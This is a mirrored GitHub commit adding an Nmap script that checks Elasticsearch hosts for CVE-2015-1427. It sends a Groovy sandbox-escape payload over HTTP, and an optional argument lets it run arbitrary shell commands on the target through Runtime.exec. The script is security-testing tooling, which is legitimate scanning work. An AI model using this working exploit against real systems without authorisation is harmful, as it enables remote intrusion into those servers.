mirror of
https://github.com/nmap/nmap.git
synced 2026-01-18 12:19:02 +00:00
A script to check RCE in Elastic Search
This commit is contained in:
209
scripts/http-vuln-cve2015-1427.nse
Normal file
209
scripts/http-vuln-cve2015-1427.nse
Normal file
@@ -0,0 +1,209 @@
|
||||
local http = require "http"
|
||||
local shortport = require "shortport"
|
||||
local stdnse = require "stdnse"
|
||||
local string = require "string"
|
||||
local vulns = require "vulns"
|
||||
local json = require "json"
|
||||
local base64 = require "base64"
|
||||
local nmap = require "nmap"
|
||||
|
||||
description = [[
|
||||
A simple script based on the exploit mentioned here :
|
||||
http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html
|
||||
The vulnerability allows an attacker to construct Groovy scripts that escape the sandbox and
|
||||
execute shell commands as the user running the Elasticsearch Java VM.
|
||||
]]
|
||||
|
||||
---
|
||||
-- @args command enter the shell command to be executed
|
||||
-- tries to fetch the os details by default
|
||||
-- @args invasive if set to true then creates an index incase one is not present.
|
||||
--
|
||||
-- @usage
|
||||
-- nmap --script=http-vuln-cve2015-1427 --script-args command=' ls' <targets>
|
||||
--
|
||||
--@output
|
||||
-- | http-vuln-cve2015-1427:
|
||||
-- | VULNERABLE:
|
||||
-- | ElasticSearch CVE-2015-1427 RCE Exploit
|
||||
-- | State: VULNERABLE (Exploitable)
|
||||
-- | IDs: CVE:CVE-2015-1427
|
||||
-- | Risk factor: High CVSS2: 7.5
|
||||
-- | The vulnerability allows an attacker to construct Groovy
|
||||
-- | scripts that escape the sandbox and execute shell commands as the user
|
||||
-- | running the Elasticsearch Java VM.
|
||||
-- | Exploit results:
|
||||
-- | ElasticSearch version: 1.3.7
|
||||
-- | Java version: 1.8.0_45
|
||||
-- | References:
|
||||
-- | http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html
|
||||
-- | https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
|
||||
-- | https://github.com/elastic/elasticsearch/issues/9655
|
||||
-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1427
|
||||
|
||||
author = {"Gyanendra Mishra", "Daniel Miller"}
|
||||
|
||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
|
||||
categories = {"vuln", "intrusive"}
|
||||
|
||||
portrule = shortport.port_or_service(9200, "http", "tcp")
|
||||
|
||||
|
||||
local function parseResult(parsed)
|
||||
-- for commands that return printable results
|
||||
if parsed.hits.hits[1] and parsed.hits.hits[1].fields and parsed.hits.hits[1].fields.exploit[1] then
|
||||
return parsed.hits.hits[1].fields.exploit[1]
|
||||
end
|
||||
-- mkdir(etc) command seems to work but as it returns no result
|
||||
if parsed.hits.total > 0 then
|
||||
return "Likely vulnerable. Command entered gave no output to print. Use without command argument to ensure vulnerability."
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local command = stdnse.get_script_args(SCRIPT_NAME .. ".command")
|
||||
local invasive = stdnse.get_script_args(SCRIPT_NAME .. ".invasive")
|
||||
|
||||
local payload = {
|
||||
size= 1,
|
||||
query= {
|
||||
match_all= {}
|
||||
},
|
||||
script_fields= {
|
||||
exploit= {
|
||||
lang= "groovy",
|
||||
-- This proves vulnerability because the fix was to prevent access to
|
||||
-- .class and .forName
|
||||
script= '"ElasticSearch version: "+\z
|
||||
java.lang.Math.class.forName("org.elasticsearch.Version").CURRENT+\z
|
||||
"\\n Java version: "+\z
|
||||
java.lang.Math.class.forName("java.lang.System").getProperty("java.version")'
|
||||
}
|
||||
}
|
||||
}
|
||||
if command then
|
||||
payload.script_fields.exploit.script = string.format(
|
||||
'java.lang.Math.class.forName("java.util.Scanner").getConstructor(\z
|
||||
java.lang.Math.class.forName("java.io.InputStream")).newInstance(\z
|
||||
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec(\z
|
||||
%s).getInputStream()).useDelimiter("highlyunusualstring").next()',
|
||||
json.generate(command))
|
||||
end
|
||||
|
||||
local json_payload = json.generate(payload)
|
||||
|
||||
local vuln_table = {
|
||||
title = "ElasticSearch CVE-2015-1427 RCE Exploit",
|
||||
state = vulns.STATE.NOT_VULN,
|
||||
risk_factor = "High",
|
||||
references = {
|
||||
'http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html',
|
||||
'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/',
|
||||
'https://github.com/elastic/elasticsearch/issues/9655'
|
||||
},
|
||||
IDS = {
|
||||
CVE = 'CVE-2015-1427'
|
||||
},
|
||||
scores = {
|
||||
CVSS2 = '7.5'
|
||||
},
|
||||
description = [[The vulnerability allows an attacker to construct Groovy
|
||||
scripts that escape the sandbox and execute shell commands as the user
|
||||
running the Elasticsearch Java VM.]]
|
||||
}
|
||||
|
||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
|
||||
local cleanup = function() return end
|
||||
local nocache = {no_cache=true, bypass_cache=true}
|
||||
--lets check the elastic search version.
|
||||
local response = http.get(host, port, '/')
|
||||
if response.status == 200 and response.body then
|
||||
local status, parsed = json.parse(response.body)
|
||||
if not(status) then
|
||||
stdnse.debug1('Parsing J0SON failed(version checking). Probably not running Elasticsearch')
|
||||
return nil
|
||||
else
|
||||
if parsed.version.number then
|
||||
--check if a vulnerable version is running
|
||||
if (tostring(parsed.version.number):find('1.3.[0-7]') or tostring(parsed.version.number):find('1.4.[0-2]')) then
|
||||
vuln_table.state = vulns.STATE.LIKELY_VULN
|
||||
end
|
||||
--help the version/service detection.
|
||||
port.version = {
|
||||
name = 'elasticsearch',
|
||||
name_confidence = 10,
|
||||
product = 'Elastic elasticsearch',
|
||||
version = tostring(parsed.version.number),
|
||||
service_tunnel = 'none',
|
||||
cpe = {'cpe:/a:elasticsearch:elasticsearch:' .. tostring(parsed.version.number)}
|
||||
}
|
||||
nmap.set_port_version(host,port,'hardmatched')
|
||||
else
|
||||
stdnse.debug1('Cant Be Elastic search as no version number present.')
|
||||
return nil
|
||||
end
|
||||
end
|
||||
else
|
||||
stdnse.debug1('Not Running Elastic Search.')
|
||||
return nil
|
||||
end
|
||||
|
||||
-- check if it is indexed, if not create index
|
||||
response = http.get(host,port,'_cat/indices', nocache)
|
||||
if response.status ~= 200 then
|
||||
stdnse.debug1( "Couldnt fetch indices.")
|
||||
return report:make_output(vuln_table)
|
||||
elseif response.body == '' then
|
||||
if invasive then
|
||||
local rand = string.lower(stdnse.generate_random_string(8))
|
||||
cleanup = function()
|
||||
local r = http.generic_request(host, port, "DELETE", ("/%s"):format(rand))
|
||||
if r.status ~= 200 or not r.body:match('"acknowledged":true') then
|
||||
stdnse.debug1( "Could not delete index created by invasive script-arg")
|
||||
end
|
||||
end
|
||||
local data = { [rand] = rand }
|
||||
stdnse.debug1("Creating Index. 5 seconds wait.")
|
||||
response = http.put(host,port,('%s/%s/1'):format(rand, rand),nil,json.generate(data))
|
||||
if not(response.status == 201) then
|
||||
stdnse.debug1( "Didnt have any index. Creating index failed.")
|
||||
return report:make_output(vuln_table)
|
||||
end
|
||||
stdnse.sleep(5) -- search will not return results immediately
|
||||
else
|
||||
stdnse.debug1("Not Indexed. Try the invasive option ;)")
|
||||
return report:make_output(vuln_table)
|
||||
end
|
||||
end
|
||||
|
||||
--execute the command
|
||||
|
||||
local target = '_search'
|
||||
response = http.post(host, port, target ,nil ,nil ,(json_payload))
|
||||
|
||||
if not(response.body) or not(response.status==200) then
|
||||
cleanup()
|
||||
return report:make_output(vuln_table)
|
||||
else
|
||||
local status,parsed = json.parse(response.body)
|
||||
if ( not(status) ) then
|
||||
stdnse.debug1("JSON not parsable.")
|
||||
cleanup()
|
||||
return report:make_output(vuln_table)
|
||||
end
|
||||
--if the parseResult function returns something then lets go ahead
|
||||
local results = parseResult(parsed)
|
||||
if results then
|
||||
vuln_table.state = vulns.STATE.EXPLOIT
|
||||
vuln_table.exploit_results = results
|
||||
end
|
||||
end
|
||||
|
||||
cleanup()
|
||||
return report:make_output(vuln_table)
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user